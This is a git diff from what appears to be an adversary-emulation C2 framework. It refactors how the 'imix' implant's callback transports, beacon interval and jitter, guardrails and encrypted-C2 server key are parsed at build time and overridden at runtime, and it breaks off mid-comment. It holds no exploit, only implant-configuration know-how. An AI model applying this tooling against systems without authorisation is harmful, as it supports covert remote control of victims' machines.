diff --git a/implants/imix/Cargo.toml b/implants/imix/Cargo.toml index 2517751ef..8ecf9b575 100644 --- a/implants/imix/Cargo.toml +++ b/implants/imix/Cargo.toml @@ -54,10 +54,21 @@ rand = { workspace = true } async-trait = { workspace = true } rustls = { workspace = true } eldritch-libchain = { workspace = true, features = ["stdlib"] } +base64 = { workspace = true } [target.'cfg(target_os = "windows")'.dependencies] windows-service = { workspace = true } +[build-dependencies] +static_vcruntime = { workspace = true } +which = { workspace = true } +home = "=0.5.11" +reqwest = { workspace = true, features = ["blocking", "json", "rustls-tls"] } +serde_json = { workspace = true } +serde = { workspace = true, features = ["derive"] } +serde_yaml = { workspace = true } +urlencoding = { workspace = true } + [target.'cfg(target_os = "windows")'.build-dependencies] static_vcruntime = { workspace = true } diff --git a/implants/imix/build.rs b/implants/imix/build.rs index 428e8f325..42316705e 100644 --- a/implants/imix/build.rs +++ b/implants/imix/build.rs @@ -1,4 +1,276 @@ -fn main() { +use serde::Deserialize; +use std::env; +use std::path::PathBuf; +use which::which; + +// ---- YAML config types (for IMIX_CONFIG parsing) ---- + +#[derive(Debug, Deserialize)] +struct TransportConfig { + #[serde(rename = "URI")] + uri: String, + #[serde(rename = "type")] + transport_type: String, + #[serde(default)] + extra: String, + #[serde(default)] + interval: Option, + #[serde(default)] + jitter: Option, +} + +#[derive(Debug, Deserialize)] +struct YamlConfig { + transports: Vec, + #[serde(default)] + server_pubkey: Option, +} + +struct YamlConfigResult { + upstream_uri: Option, + server_pubkey: Option, +} + +fn parse_yaml_config() -> Result, Box> { + let config_yaml = match std::env::var("IMIX_CONFIG") { + Ok(yaml_content) => yaml_content, + Err(_) => { + println!("cargo:warning=IMIX_CONFIG not set, skipping YAML config parsing"); + return Ok(None); + } + }; + + let has_callback_uri = std::env::var("IMIX_CALLBACK_URI").is_ok(); + let has_callback_interval = std::env::var("IMIX_CALLBACK_INTERVAL").is_ok(); + let has_transport_extra = std::env::vars().any(|(k, _)| k.starts_with("IMIX_TRANSPORT_EXTRA_")); + + if has_callback_uri || has_callback_interval || has_transport_extra { + let mut error_msg = String::from( + "Configuration error: Cannot use IMIX_CONFIG with other configuration options.\n", + ); + error_msg.push_str( + "When IMIX_CONFIG is set, all configuration must be done through the YAML file.\n", + ); + error_msg.push_str("Found one or more of:\n"); + + if has_callback_uri { + error_msg.push_str(" - IMIX_CALLBACK_URI\n"); + } + if has_callback_interval { + error_msg.push_str(" - IMIX_CALLBACK_INTERVAL\n"); + } + if has_transport_extra { + error_msg.push_str(" - IMIX_TRANSPORT_EXTRA_*\n"); + } + + error_msg.push_str( + "\nPlease use ONLY the YAML config file OR use environment variables, but not both.", + ); + + return Err(error_msg.into()); + } + + let config: YamlConfig = serde_yaml::from_str(&config_yaml) + .map_err(|e| format!("Failed to parse YAML config: {}", e))?; + + if config.transports.is_empty() { + return Err("YAML config must contain at least one transport".into()); + } + + let mut dsn_parts = Vec::new(); + + for transport in &config.transports { + let transport_type_lower = transport.transport_type.to_lowercase(); + if !["grpc", "http1", "dns", "icmp", "tcp_bind", "quic"] + .contains(&transport_type_lower.as_str()) + { + return Err(format!( + "Invalid transport type '{}'. Must be one of: GRPC, http1, DNS, tcp_bind, quic", + transport.transport_type + ) + .into()); + } + + if !transport.extra.is_empty() { + serde_json::from_str::(&transport.extra).map_err(|e| { + format!( + "Invalid JSON in 'extra' field for transport '{}': {}", + transport.uri, e + ) + })?; + } + + if transport.uri.contains('?') { + return Err(format!("URI '{}' already contains query parameters. Query parameters should not be present in the URI field.", transport.uri).into()); + } + + let mut dsn_part = transport.uri.clone(); + dsn_part.push('?'); + let mut params = Vec::new(); + + if let Some(interval) = transport.interval { + params.push(format!("interval={}", interval)); + } + + if let Some(jitter) = transport.jitter { + params.push(format!("jitter={}", jitter)); + } + + params.push(format!("type={}", transport_type_lower)); + + if !transport.extra.is_empty() { + let encoded_extra = urlencoding::encode(&transport.extra); + params.push(format!("extra={}", encoded_extra)); + } + + if !params.is_empty() { + dsn_part.push_str(¶ms.join("&")); + } else { + dsn_part.pop(); + } + + dsn_parts.push(dsn_part); + } + + let dsn = dsn_parts.join(";"); + + println!("cargo:rustc-env=IMIX_CALLBACK_URI={}", dsn); + + if let Some(ref pubkey) = config.server_pubkey { + println!("cargo:rustc-env=IMIX_SERVER_PUBKEY={}", pubkey); + println!("cargo:warning=Using server_pubkey from YAML config"); + } + + println!( + "cargo:warning=Successfully parsed YAML config with {} transport(s)", + config.transports.len() + ); + + let upstream_uri = config.transports.first().map(|t| t.uri.clone()); + + Ok(Some(YamlConfigResult { + upstream_uri, + server_pubkey: config.server_pubkey, + })) +} + +fn get_pub_key(yaml_config: Option) { + if let Some(ref config) = yaml_config { + if config.server_pubkey.is_some() { + println!("cargo:warning=Server pubkey provided via YAML config, skipping fetch"); + return; + } + } + + if std::env::var("IMIX_SERVER_PUBKEY").is_ok() { + println!("cargo:warning=IMIX_SERVER_PUBKEY already set, skipping fetch"); + return; + } + + let callback_uri = yaml_config + .and_then(|c| c.upstream_uri) + .or_else(|| std::env::var("IMIX_CALLBACK_URI").ok()) + .unwrap_or_else(|| "http://127.0.0.1:8000".to_string()); + + let base_uri = callback_uri + .split(';') + .next() + .unwrap_or(&callback_uri) + .trim() + .split('?') + .next() + .unwrap_or(&callback_uri); + + let status_url = format!("{}/status", base_uri); + + let client = match reqwest::blocking::Client::builder().http1_only().build() { + Ok(c) => c, + Err(e) => { + println!("cargo:warning=Failed to build HTTP client: {}", e); + return; + } + }; + let response = match client.get(&status_url).send() { + Ok(resp) => resp, + Err(e) => { + println!("cargo:warning=Failed to connect to {}: {}", status_url, e); + return; + } + }; + + if !response.status().is_success() { + println!( + "cargo:warning=Failed to fetch status from {}: HTTP {}", + status_url, + response.status() + ); + return; + } + + let json = match response.json::() { + Ok(json) => json, + Err(e) => { + println!( + "cargo:warning=Failed to parse JSON response from {}: {}", + status_url, e + ); + return; + } + }; + + let pubkey = match json.get("Pubkey").and_then(|v| v.as_str()) { + Some(key) => key, + None => { + println!( + "cargo:warning=Pubkey field not found in response from {}", + status_url + ); + return; + } + }; + + println!("cargo:rustc-env=IMIX_SERVER_PUBKEY={}", pubkey); + println!( + "cargo:warning=Successfully fetched server public key from {}", + status_url + ); +} + +fn validate_dsn_config() -> Result<(), Box> { + if std::env::var("IMIX_CONFIG").is_ok() { + return Ok(()); + } + + let callback_uri = + std::env::var("IMIX_CALLBACK_URI").unwrap_or_else(|_| "http://127.0.0.1:8000".to_string()); + let has_query_params = callback_uri.contains('?'); + + let has_callback_interval = std::env::var("IMIX_CALLBACK_INTERVAL").is_ok(); + let has_transport_extra = std::env::vars().any(|(k, _)| k.starts_with("IMIX_TRANSPORT_EXTRA_")); + + if has_query_params && (has_callback_interval || has_transport_extra) { + let mut error_msg = String::from( + "Configuration error: Cannot use both DSN query parameters and legacy environment variables.\n", + ); + error_msg.push_str("Found query parameters in IMIX_CALLBACK_URI and one or more of:\n"); + + if has_callback_interval { + error_msg.push_str(" - IMIX_CALLBACK_INTERVAL\n"); + } + if has_transport_extra { + error_msg.push_str(" - IMIX_TRANSPORT_EXTRA_*\n"); + } + + error_msg.push_str("\nPlease use ONLY DSN query parameters (e.g., https://example.com?interval=10&extra={...})\n"); + error_msg.push_str("OR use legacy environment variables, but not both."); + + return Err(error_msg.into()); + } + + Ok(()) +} + +fn main() -> Result<(), Box> { #[cfg(target_os = "windows")] static_vcruntime::metabuild(); @@ -6,7 +278,13 @@ fn main() { println!("cargo:rustc-cfg=tokio_unstable"); } + println!("cargo:rerun-if-env-changed=IMIX_CONFIG"); + println!("cargo:rerun-if-env-changed=IMIX_CALLBACK_URI"); + println!("cargo:rerun-if-env-changed=IMIX_CALLBACK_INTERVAL"); + println!("cargo:rerun-if-env-changed=IMIX_SERVER_PUBKEY"); println!("cargo:rerun-if-env-changed=IMIX_DEBUG"); + println!("cargo:rerun-if-env-changed=PROTOC"); + let profile = std::env::var("PROFILE").unwrap_or_default(); let imix_debug = std::env::var("IMIX_DEBUG").unwrap_or_default(); @@ -17,4 +295,27 @@ fn main() { if profile == "debug" || imix_debug == "all" { println!("cargo:rustc-cfg=feature=\"print_debug\""); } + + // YAML config handling — emits IMIX_CALLBACK_URI and IMIX_SERVER_PUBKEY from YAML when set. + let yaml_config = parse_yaml_config()?; + + // DSN legacy-env validation + validate_dsn_config()?; + + // Auto-fetch server pubkey from Tavern /status when not already provided. + get_pub_key(yaml_config); + + // Keep existing protoc-detection log line for consistency, but proto generation itself + // lives in pb/build.rs. + match env::var_os("PROTOC") + .map(PathBuf::from) + .or_else(|| which("protoc").ok()) + { + Some(_) => println!("Found protoc (pb crate will generate protos)"), + None => { + println!("WARNING: Failed to locate protoc"); + } + } + + Ok(()) } diff --git a/implants/imix/src/imix_config.rs b/implants/imix/src/imix_config.rs new file mode 100644 index 000000000..f542b9d9e --- /dev/null +++ b/implants/imix/src/imix_config.rs @@ -0,0 +1,89 @@ +use pb::config::RuntimeImixConfig; + +// ---- Compile-time baked values from imix/build.rs ---- +// These correspond to the old `option_env!("IMIX_*")` that lived in pb/config.rs. +// They are now owned by imix and passed at runtime to pb. + +const COMPILE_CALLBACK_URI: Option<&'static str> = option_env!("IMIX_CALLBACK_URI"); + +macro_rules! opt_env_or { + ($var:literal, $default:literal) => { + match option_env!($var) { + Some(v) => v, + None => $default, + } + }; +} + +const COMPILE_CALLBACK_INTERVAL: &str = opt_env_or!("IMIX_CALLBACK_INTERVAL", "5"); +const COMPILE_RETRY_INTERVAL: &str = opt_env_or!("IMIX_RETRY_INTERVAL", "5"); +const COMPILE_RUN_ONCE_BAKED: bool = option_env!("IMIX_RUN_ONCE").is_some(); +const COMPILE_EXTRA: &str = opt_env_or!("IMIX_TRANSPORT_EXTRA", ""); +const COMPILE_UNIQUE_JSON: Option<&'static str> = option_env!("IMIX_UNIQUE"); +const COMPILE_GUARDRAILS_JSON: Option<&'static str> = option_env!("IMIX_GUARDRAILS"); + +/// Build the runtime config that pb should use. Called once at agent startup, +/// after init_logger() and init_crypto(). +/// +/// Precedence (highest first): +/// - Runtime env vars (IMIX_* set at process launch time, e.g. via inject) +/// - Compile-time baked values from imix/build.rs cargo:rustc-env +/// - Defaults (in RuntimeImixConfig / pb). +pub fn build_runtime_config() -> RuntimeImixConfig { + // Callback URI: prefer runtime IMIX_CALLBACK_URI, then baked value, then default. + // When IMIX_CONFIG YAML was used, imix/build.rs already baked the DSN into + // IMIX_CALLBACK_URI rustc-env, so it appears as compile-time baked. + let callback_uri = std::env::var("IMIX_CALLBACK_URI") + .ok() + .or_else(|| COMPILE_CALLBACK_URI.map(|s| s.to_string())) + .unwrap_or_else(|| "http://127.0.0.1:8000".to_string()); + + // Intervals / flags: legacy env vars are read at runtime by original code via + // option_env! — we preserve support by checking runtime env vars. + let callback_interval = std::env::var("IMIX_CALLBACK_INTERVAL") + .unwrap_or_else(|_| COMPILE_CALLBACK_INTERVAL.to_string()); + + let retry_interval = + std::env::var("IMIX_RETRY_INTERVAL").unwrap_or_else(|_| COMPILE_RETRY_INTERVAL.to_string()); + + let run_once = if std::env::var("IMIX_RUN_ONCE").is_ok() { + true + } else { + COMPILE_RUN_ONCE_BAKED + }; + + let transport_extra = std::env::var("IMIX_TRANSPORT_EXTRA") + .ok() + .unwrap_or_else(|| COMPILE_EXTRA.to_string()); + + // IMIX_UNIQUE / IMIX_GUARDRAILS — check runtime prefixed vars last, to support + // legacy injection paths that set them at runtime. + let unique_json = std::env::var("IMIX_UNIQUE") + .ok() + .or_else(|| COMPILE_UNIQUE_JSON.map(|s| s.to_string())) + .or_else(|| { + // Legacy IMIX_TRANSPORT_EXTRA_* vars contain JSON extra per transport + // — they are handled in pb's DSN validation; leave their consumption there + // if needed, but for UNIQUE the counterpart is just IMIX_UNIQUE. + None + }); + + let guardrails_json = std::env::var("IMIX_GUARDRAILS") + .ok() + .or_else(|| COMPILE_GUARDRAILS_JSON.map(|s| s.to_string())) + .or_else(|| None); + + // Also check IMIX_TRANSPORT_EXTRA_{N} vars for DSN validation — delegate to + // imix/build.rs's existing validate_dsn_config at build time. At runtime we + // don't re-validate, we just collect. + + RuntimeImixConfig { + callback_uri, + callback_interval, + retry_interval, + run_once, + transport_extra, + unique_json, + guardrails_json, + } +} diff --git a/implants/imix/src/lib.rs b/implants/imix/src/lib.rs index 8deef8b06..ed30414d3 100644 --- a/implants/imix/src/lib.rs +++ b/implants/imix/src/lib.rs @@ -2,6 +2,7 @@ extern crate alloc; pub mod agent; pub mod assets; +pub mod imix_config; pub mod portal; pub mod printer; pub mod run; diff --git a/implants/imix/src/main.rs b/implants/imix/src/main.rs index 0d5c8ecbb..35209c083 100644 --- a/implants/imix/src/main.rs +++ b/implants/imix/src/main.rs @@ -21,6 +21,7 @@ pub use transport::Transport; mod agent; mod assets; +mod imix_config; mod install; mod portal; mod printer; diff --git a/implants/imix/src/run.rs b/implants/imix/src/run.rs index ae6e2385f..469c4354a 100644 --- a/implants/imix/src/run.rs +++ b/implants/imix/src/run.rs @@ -1,4 +1,5 @@ use anyhow::Result; +use base64::{Engine as _, engine::general_purpose::STANDARD as BASE64}; use std::sync::Arc; use std::sync::atomic::{AtomicBool, Ordering}; use std::time::{Duration, Instant}; @@ -11,10 +12,52 @@ use pb::config::Config; pub static SHUTDOWN: AtomicBool = AtomicBool::new(false); const MAX_BUF_SHELL_MESSAGES: usize = 65535; +fn init_crypto() { + let b64 = std::env::var("IMIX_SERVER_PUBKEY") + .ok() + .or_else(|| option_env!("IMIX_SERVER_PUBKEY").map(|s| s.to_string())); + + if let Some(b64_str) = b64 { + match BASE64.decode(b64_str.trim()) { + Ok(bytes) if bytes.len() == 32 => { + let mut key = [0u8; 32]; + key.copy_from_slice(&bytes); + pb::xchacha::set_server_pubkey(key); + #[cfg(feature = "print_debug")] + log::info!("Server public key configured"); + } + Ok(bytes) => { + #[cfg(feature = "print_debug")] + log::error!( + "IMIX_SERVER_PUBKEY decoded to {} bytes, expected 32 — using fallback", + bytes.len() + ); + } + Err(e) => { + #[cfg(feature = "print_debug")] + log::error!( + "Failed to base64-decode IMIX_SERVER_PUBKEY: {} — using fallback", + e + ); + } + } + } else { + #[cfg(feature = "print_debug")] + log::warn!("IMIX_SERVER_PUBKEY not set — using fallback key (no encrypted C2 will work)"); + } +} + +fn init_runtime_config() { + let rt_cfg = crate::imix_config::build_runtime_config(); + pb::config::init_runtime_config(rt_cfg); +} + pub async fn run_agent() -> Result<()> { init_logger(); + init_crypto(); + init_runtime_config(); - // Load config / defaults + // Load config / defaults — now reads from runtime config set above. let config = Config::default_with_imix_version(VERSION); #[cfg(feature = "print_debug")] log::info!("Loaded config: {config:#?}"); @@ -39,7 +82,6 @@ pub async fn run_agent() -> Result<()> { // Track the last interval we slept for, as a fallback in case we fail to read the config let mut last_interval = agent.get_callback_interval_u64().unwrap_or(5); - // Do we need to move this into the loop and check the agent_ref? #[cfg(feature = "print_debug")] log::info!("Agent initialized"); diff --git a/implants/lib/pb/Cargo.toml b/implants/lib/pb/Cargo.toml index 9ae32403b..71c552185 100644 --- a/implants/lib/pb/Cargo.toml +++ b/implants/lib/pb/Cargo.toml @@ -22,18 +22,17 @@ guardrails = { workspace = true } log = { workspace = true } netdev = { workspace = true } prost = { workspace = true } -serde_json = { workspace = true } prost-types = { workspace = true } rand_chacha = { workspace = true } tokio = { workspace = true, features = ["macros", "rt-multi-thread"] } tokio-stream = { workspace = true } tonic = { workspace = true, features = ["tls-native-roots"] } -const-decoder = { workspace = true } chacha20poly1305 = { workspace = true } bytes = { workspace = true } rand = { workspace = true } x25519-dalek = { workspace = true } lru = { workspace = true } +serde_json = { workspace = true } uuid = { workspace = true, features = ["v4", "fast-rng"] } whoami = { workspace = true } @@ -42,9 +41,3 @@ url = { workspace = true } [build-dependencies] tonic-prost-build = { workspace = true } which = { workspace = true } -home = "=0.5.11" -reqwest = { workspace = true, features = ["blocking", "json", "rustls-tls"] } -serde_json = { workspace = true } -serde = { workspace = true, features = ["derive"] } -serde_yaml = { workspace = true } -urlencoding = { workspace = true } diff --git a/implants/lib/pb/build.rs b/implants/lib/pb/build.rs index 35ba0c685..8a30f66f1 100644 --- a/implants/lib/pb/build.rs +++ b/implants/lib/pb/build.rs @@ -1,314 +1,9 @@ -use serde::Deserialize; use std::env; use std::path::PathBuf; use which::which; -#[derive(Debug, Deserialize)] -struct TransportConfig { - #[serde(rename = "URI")] - uri: String, - #[serde(rename = "type")] - transport_type: String, - #[serde(default)] - extra: String, - #[serde(default)] - interval: Option, - #[serde(default)] - jitter: Option, -} - -#[derive(Debug, Deserialize)] -struct YamlConfig { - transports: Vec, - #[serde(default)] - server_pubkey: Option, -} - -/// Result of parsing YAML config, containing values needed by other build steps -struct YamlConfigResult { - /// The first transport URI (used for fetching pubkey) - upstream_uri: Option, - /// Server public key if specified in config - server_pubkey: Option, -} - -fn parse_yaml_config() -> Result, Box> { - // Check if IMIX_CONFIG is set - let config_yaml = match std::env::var("IMIX_CONFIG") { - Ok(yaml_content) => yaml_content, - Err(_) => { - println!("cargo:warning=IMIX_CONFIG not set, skipping YAML config parsing"); - return Ok(None); - } - }; - - // Check that other configuration options are not set - let has_callback_uri = std::env::var("IMIX_CALLBACK_URI").is_ok(); - let has_callback_interval = std::env::var("IMIX_CALLBACK_INTERVAL").is_ok(); - let has_transport_extra = std::env::vars().any(|(k, _)| k.starts_with("IMIX_TRANSPORT_EXTRA_")); - - if has_callback_uri || has_callback_interval || has_transport_extra { - let mut error_msg = String::from( - "Configuration error: Cannot use IMIX_CONFIG with other configuration options.\n", - ); - error_msg.push_str( - "When IMIX_CONFIG is set, all configuration must be done through the YAML file.\n", - ); - error_msg.push_str("Found one or more of:\n"); - - if has_callback_uri { - error_msg.push_str(" - IMIX_CALLBACK_URI\n"); - } - if has_callback_interval { - error_msg.push_str(" - IMIX_CALLBACK_INTERVAL\n"); - } - if has_transport_extra { - error_msg.push_str(" - IMIX_TRANSPORT_EXTRA_*\n"); - } - - error_msg.push_str( - "\nPlease use ONLY the YAML config file OR use environment variables, but not both.", - ); - - return Err(error_msg.into()); - } - - // Parse the YAML config - let config: YamlConfig = serde_yaml::from_str(&config_yaml) - .map_err(|e| format!("Failed to parse YAML config: {}", e))?; - - // Validate that we have at least one transport - if config.transports.is_empty() { - return Err("YAML config must contain at least one transport".into()); - } - - // Build DSN string from transports - let mut dsn_parts = Vec::new(); - - for transport in &config.transports { - // Validate transport type - let transport_type_lower = transport.transport_type.to_lowercase(); - if !["grpc", "http1", "dns", "icmp", "tcp_bind", "quic"] - .contains(&transport_type_lower.as_str()) - { - return Err(format!( - "Invalid transport type '{}'. Must be one of: GRPC, http1, DNS, tcp_bind, quic", - transport.transport_type - ) - .into()); - } - - // Validate that extra is valid JSON - if !transport.extra.is_empty() { - serde_json::from_str::(&transport.extra).map_err(|e| { - format!( - "Invalid JSON in 'extra' field for transport '{}': {}", - transport.uri, e - ) - })?; - } - - // Error if URI already contains query parameters - if transport.uri.contains('?') { - return Err(format!("URI '{}' already contains query parameters. Query parameters should not be present in the URI field.", transport.uri).into()); - } - - // Build DSN part with correct schema and query parameters - let mut dsn_part = transport.uri.clone(); - - // Add query parameters - dsn_part.push('?'); - let mut params = Vec::new(); - - // Add interval if present - if let Some(interval) = transport.interval { - params.push(format!("interval={}", interval)); - } - - // Add jitter if present - if let Some(jitter) = transport.jitter { - params.push(format!("jitter={}", jitter)); - } - - // Add type query parameter - params.push(format!("type={}", transport_type_lower)); - - // Add extra as query parameter if not empty - if !transport.extra.is_empty() { - let encoded_extra = urlencoding::encode(&transport.extra); - params.push(format!("extra={}", encoded_extra)); - } - - if !params.is_empty() { - dsn_part.push_str(¶ms.join("&")); - } else { - // Remove the trailing '?' if no params were added - dsn_part.pop(); - } - - dsn_parts.push(dsn_part); - } - - // Join all DSN parts with semicolons - let dsn = dsn_parts.join(";"); - - // Emit the DSN configuration - println!("cargo:rustc-env=IMIX_CALLBACK_URI={}", dsn); - - // Emit server_pubkey if present - if let Some(ref pubkey) = config.server_pubkey { - println!("cargo:rustc-env=IMIX_SERVER_PUBKEY={}", pubkey); - println!("cargo:warning=Using server_pubkey from YAML config"); - } - - println!( - "cargo:warning=Successfully parsed YAML config with {} transport(s)", - config.transports.len() - ); - - // Extract the first transport URI for pubkey fetching - let upstream_uri = config.transports.first().map(|t| t.uri.clone()); - - Ok(Some(YamlConfigResult { - upstream_uri, - server_pubkey: config.server_pubkey, - })) -} - -fn get_pub_key(yaml_config: Option) { - // Check if server pubkey was provided via YAML config - if let Some(ref config) = yaml_config { - if config.server_pubkey.is_some() { - // Already emitted in parse_yaml_config, no need to fetch - println!("cargo:warning=Server pubkey provided via YAML config, skipping fetch"); - return; - } - } - - // Check if IMIX_SERVER_PUBKEY is already set via env var - if std::env::var("IMIX_SERVER_PUBKEY").is_ok() { - println!("cargo:warning=IMIX_SERVER_PUBKEY already set, skipping fetch"); - return; - } - - // Get the callback URI: prefer YAML config upstream, then env var, then default - let callback_uri = yaml_config - .and_then(|c| c.upstream_uri) - .or_else(|| std::env::var("IMIX_CALLBACK_URI").ok()) - .unwrap_or_else(|| "http://127.0.0.1:8000".to_string()); - - // Extract the first URI from semicolon-separated list and strip query parameters - let base_uri = callback_uri - .split(';') - .next() - .unwrap_or(&callback_uri) - .trim() - .split('?') - .next() - .unwrap_or(&callback_uri); - - // Construct the status endpoint URL - let status_url = format!("{}/status", base_uri); - - // Make a GET request to /status using HTTP/1.1 to ensure unencrypted requests work - let client = match reqwest::blocking::Client::builder().http1_only().build() { - Ok(c) => c, - Err(e) => { - println!("cargo:warning=Failed to build HTTP client: {}", e); - return; - } - }; - let response = match client.get(&status_url).send() { - Ok(resp) => resp, - Err(e) => { - println!("cargo:warning=Failed to connect to {}: {}", status_url, e); - return; - } - }; - - if !response.status().is_success() { - println!( - "cargo:warning=Failed to fetch status from {}: HTTP {}", - status_url, - response.status() - ); - return; - } - - let json = match response.json::() { - Ok(json) => json, - Err(e) => { - println!( - "cargo:warning=Failed to parse JSON response from {}: {}", - status_url, e - ); - return; - } - }; - - let pubkey = match json.get("Pubkey").and_then(|v| v.as_str()) { - Some(key) => key, - None => { - println!( - "cargo:warning=Pubkey field not found in response from {}", - status_url - ); - return; - } - }; - - // Set the IMIX_SERVER_PUBKEY environment variable for the build - println!("cargo:rustc-env=IMIX_SERVER_PUBKEY={}", pubkey); - println!( - "cargo:warning=Successfully fetched server public key from {}", - status_url - ); -} - -fn validate_dsn_config() -> Result<(), Box> { - // Skip validation if YAML config is being used - // (parse_yaml_config already handles validation in that case) - if std::env::var("IMIX_CONFIG").is_ok() { - return Ok(()); - } - - // Check if IMIX_CALLBACK_URI contains query parameters - let callback_uri = - std::env::var("IMIX_CALLBACK_URI").unwrap_or_else(|_| "http://127.0.0.1:8000".to_string()); - let has_query_params = callback_uri.contains('?'); - - // Check if legacy config environment variables are set - let has_callback_interval = std::env::var("IMIX_CALLBACK_INTERVAL").is_ok(); - let has_transport_extra = std::env::vars().any(|(k, _)| k.starts_with("IMIX_TRANSPORT_EXTRA_")); - - // If DSN has query parameters AND legacy config is set, this is an error - if has_query_params && (has_callback_interval || has_transport_extra) { - let mut error_msg = String::from("Configuration error: Cannot use both DSN query parameters and legacy environment variables.\n"); - error_msg.push_str("Found query parameters in IMIX_CALLBACK_URI and one or more of:\n"); - - if has_callback_interval { - error_msg.push_str(" - IMIX_CALLBACK_INTERVAL\n"); - } - if has_transport_extra { - error_msg.push_str(" - IMIX_TRANSPORT_EXTRA_*\n"); - } - - error_msg.push_str("\nPlease use ONLY DSN query parameters (e.g., https://example.com?interval=10&extra={...})\n"); - error_msg.push_str("OR use legacy environment variables, but not both."); - - return Err(error_msg.into()); - } - - Ok(()) -} - fn main() -> Result<(), Box> { - // Tell Cargo to rerun this build script if these env vars change - // This fixes the issue where changing IMIX_CONFIG doesn't trigger a rebuild - println!("cargo:rerun-if-env-changed=IMIX_CONFIG"); - println!("cargo:rerun-if-env-changed=IMIX_CALLBACK_URI"); - println!("cargo:rerun-if-env-changed=IMIX_CALLBACK_INTERVAL"); - println!("cargo:rerun-if-env-changed=IMIX_SERVER_PUBKEY"); + // Only the truly build-system concerns stay here. println!("cargo:rerun-if-env-changed=PROTOC"); println!("cargo:rerun-if-env-changed=IMIX_DEBUG"); let profile = std::env::var("PROFILE").unwrap_or_default(); @@ -322,15 +17,6 @@ fn main() -> Result<(), Box> { println!("cargo:rustc-cfg=feature=\"print_debug\""); } - // Parse YAML config if present (this will emit IMIX_CALLBACK_URI if successful) - let yaml_config = parse_yaml_config()?; - - // Validate DSN config (skips if YAML config was used) - validate_dsn_config()?; - - get_pub_key(yaml_config); - - // Skip if no `protoc` can be found match env::var_os("PROTOC") .map(PathBuf::from) .or_else(|| which("protoc").ok()) @@ -342,7 +28,6 @@ fn main() -> Result<(), Box> { } } - // Build Eldritch Proto match tonic_prost_build::configure() .out_dir("./src/generated/") .codec_path("crate::xchacha::ChachaCodec") @@ -362,7 +47,6 @@ fn main() -> Result<(), Box> { Ok(_) => println!("generated eldritch protos"), }; - // Build Portal Protos match tonic_prost_build::configure() .out_dir("./src/generated/") .codec_path("crate::xchacha::ChachaCodec") @@ -381,6 +65,7 @@ fn main() -> Result<(), Box> { } Ok(_) => println!("generated portal protos"), }; + match tonic_prost_build::configure() .out_dir("./src/generated/") .codec_path("crate::xchacha::ChachaCodec") @@ -395,7 +80,6 @@ fn main() -> Result<(), Box> { Ok(_) => println!("generated portal trace protos"), }; - // Build C2 Protos match tonic_prost_build::configure() .out_dir("./src/generated") .codec_path("crate::xchacha::ChachaCodec") @@ -415,7 +99,6 @@ fn main() -> Result<(), Box> { Ok(_) => println!("generated c2 protos"), }; - // Build Conv Protos (no encryption codec - shared conversation protocol) match tonic_prost_build::configure() .out_dir("./src/generated") .build_server(false) diff --git a/implants/lib/pb/src/config.rs b/implants/lib/pb/src/config.rs index f47d22df5..d47f45662 100644 --- a/implants/lib/pb/src/config.rs +++ b/implants/lib/pb/src/config.rs @@ -1,92 +1,110 @@ use anyhow::Context; use guardrails::Guardrail; use host_unique::HostIDSelector; +use std::sync::OnceLock; use url::Url; use uuid::Uuid; use crate::c2::{AvailableTransports, Transport}; -//TODO: Can this struct be removed? -/// Config holds values necessary to configure an Agent. -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct Config { - #[prost(message, optional, tag = "1")] - pub info: ::core::option::Option, - #[prost(bool, tag = "2")] +// --------------------------------------------------------------------------- +// Runtime-settable imix configuration — owned by imix, not pb. +// imix's startup calls `init_runtime_config(RuntimeImixConfig)` before any +// call to `Config::default_with_imix_version`. All other consumers (eldritch, +// golem, tests) use the defaults. +// --------------------------------------------------------------------------- + +/// All imix-tunable values that were formerly expressed as compile-time +/// `option_env!` / `env!` constants inside this crate. Imix constructs this +/// from its own build.rs-emitted rustc-env and/or legacy env vars. +#[derive(Debug, Clone)] +pub struct RuntimeImixConfig { + pub callback_uri: String, + pub callback_interval: String, + pub retry_interval: String, pub run_once: bool, + pub transport_extra: String, + pub unique_json: Option, + pub guardrails_json: Option, } -macro_rules! callback_uri { - () => { - match option_env!("IMIX_CALLBACK_URI") { - Some(uri) => uri, - None => "http://127.0.0.1:8000", +impl Default for RuntimeImixConfig { + fn default() -> Self { + Self { + callback_uri: "http://127.0.0.1:8000".to_string(), + callback_interval: "5".to_string(), + retry_interval: "5".to_string(), + run_once: false, + transport_extra: String::new(), + unique_json: None, + guardrails_json: None, } - }; + } } -/* - * Compile-time constant for the agent callback URI, derived from the IMIX_CALLBACK_URI environment variable during compilation. - * Defaults to "http://127.0.0.1:8000/grpc" if this is unset. - */ -pub const CALLBACK_URI: &str = callback_uri!(); - -macro_rules! callback_interval { - () => { - match option_env!("IMIX_CALLBACK_INTERVAL") { - Some(interval) => interval, - None => "5", - } - }; +static RUNTIME_CONFIG: OnceLock = OnceLock::new(); + +/// Called by imix at startup. No-op if already set (OnceLock). +pub fn init_runtime_config(cfg: RuntimeImixConfig) { + let _ = RUNTIME_CONFIG.set(cfg); } -/* Compile-time constant for the agent callback interval, derived from the IMIX_CALLBACK_INTERVAL environment variable during compilation. - * Defaults to 5 if unset. - */ -pub const CALLBACK_INTERVAL: &str = callback_interval!(); - -macro_rules! retry_interval { - () => { - match option_env!("IMIX_RETRY_INTERVAL") { - Some(interval) => interval, - None => "5", - } - }; + +fn runtime_config() -> RuntimeImixConfig { + RUNTIME_CONFIG.get().cloned().unwrap_or_default() } -/* Compile-time constant for the agent callback interval, derived from the IMIX_CALLBACK_INTERVAL environment variable during compilation. - * Defaults to 5 if unset. - */ -pub const RETRY_INTERVAL: &str = retry_interval!(); - -macro_rules! run_once { - () => { - match option_env!("IMIX_RUN_ONCE") { - Some(_) => true, - None => false, - } - }; + +// Convenience accessors (kept for tests / existing call sites that used consts). + +pub fn callback_uri() -> String { + runtime_config().callback_uri } -macro_rules! extra { - () => { - match option_env!("IMIX_TRANSPORT_EXTRA") { - Some(extra) => extra, - None => "", - } - }; +pub fn callback_interval() -> String { + runtime_config().callback_interval +} + +pub fn retry_interval() -> String { + runtime_config().retry_interval +} + +pub fn run_once() -> bool { + runtime_config().run_once +} + +pub fn transport_extra() -> String { + runtime_config().transport_extra } -/* Default extra config value */ -const DEFAULT_EXTRA_CONFIG: &str = extra!(); +// Kept for API compatibility — callers that used the const directly now call these. +pub const CALLBACK_URI_DEFAULT: &str = "http://127.0.0.1:8000"; +pub const CALLBACK_INTERVAL_DEFAULT: &str = "5"; +pub const RETRY_INTERVAL_DEFAULT: &str = "5"; + +// For backward compatibility with any code that directly references the old +// compile-time constants (tests, 